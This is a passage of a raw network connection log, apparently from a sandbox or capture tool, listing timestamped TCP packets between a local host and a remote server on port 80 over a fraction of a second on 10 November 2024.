Nov 10, 2024 19:44:29.734451056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734458923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734471083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734493017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734502077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734512091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734536886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734546900 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734555960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734565020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734574080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734590054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734596014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734610081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734613895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734627962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734642029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734649897 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734669924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734677076 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734688044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734707117 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734715939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734721899 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734735012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734745979 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734751940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734760046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734765053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734790087 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734823942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734833002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734844923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734853983 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734865904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734879017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734893084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734898090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734914064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734931946 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735070944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735080004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735129118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735136986 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735136986 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735167980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735178947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735192060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735208988 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735219002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735229015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735246897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735260963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735285997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735292912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735301018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735323906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735332012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735347033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735353947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735366106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735375881 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735383987 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735403061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735440016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735469103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735477924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735496044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735502005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735513926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735532999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735539913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735548973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735557079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735569954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735582113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735589027 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735605955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735613108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735625029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735634089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.735656023 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.735672951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.778728008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.778750896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.778759956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.778788090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.778806925 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.779114962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.779151917 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.779171944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.779181957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.779203892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.779217005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813143969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813169003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813189983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813214064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813224077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813232899 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813263893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813271999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813285112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813303947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813317060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813334942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813340902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813352108 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813371897 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813379049 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813390017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813402891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813435078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813441038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813461065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813468933 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813483000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813496113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813520908 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813529015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813539028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813560009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813575983 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813582897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813596964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813616991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813628912 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813642979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813652039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813671112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813678980 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813707113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813713074 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813726902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813740015 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813747883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813755035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813766956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813776016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813787937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813795090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813813925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813822031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813836098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.813848972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.813864946 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.845194101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.845202923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.845243931 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.845257998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.845263958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.845274925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.845293999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.845304966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.845309019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.845316887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.845326900 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.845346928 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.845370054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.845380068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.845402956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.845412016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.845438004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.847502947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.847512007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.847529888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.847537994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.847556114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.847563028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.847628117 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.847666025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848162889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848172903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848191023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848200083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848206043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848218918 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848222971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848232031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848241091 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848254919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848258972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848268032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848284006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848295927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848306894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848324060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848336935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848342896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848356962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848380089 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848858118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848870039 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848887920 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848906040 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848923922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848938942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848948956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848967075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848978043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.848985910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.848999023 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849014997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849020004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849029064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849045992 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849050045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849057913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849069118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849075079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849100113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849240065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849248886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849268913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849275112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849281073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849303961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849332094 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849440098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849477053 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849499941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849509001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849526882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849534035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849551916 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849564075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849606037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849616051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849634886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849638939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849646091 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849667072 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849673033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849685907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849708080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849718094 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849730968 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849737883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849749088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849757910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849767923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849776030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849795103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849798918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849812984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849826097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849843025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849848032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849875927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.849983931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.849993944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850013018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850018024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850028038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850033045 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850043058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850049973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850056887 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850131035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850141048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850157976 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850177050 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850183964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850197077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850213051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850233078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850244999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850255013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850260019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850267887 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850284100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850337029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850370884 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850435019 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850471020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850522995 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850553989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850572109 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850605011 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850749016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850760937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850778103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850785971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850795984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850802898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850807905 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850821018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850831032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850852966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850868940 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850874901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850884914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850902081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850915909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850936890 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.850967884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.850982904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851013899 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851110935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851119995 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851136923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851144075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851155043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851161957 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851172924 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851178885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851186991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851197004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851212978 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851226091 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851231098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851243973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851258039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851264000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851274014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851291895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851305008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851322889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851337910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851350069 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851382971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851392984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851412058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851417065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851425886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851448059 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851591110 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851599932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851618052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851627111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851650953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851658106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851666927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851682901 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851690054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851700068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851711988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851717949 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851739883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851793051 CET	80	49762	185.215.113.16	192.168.2.4
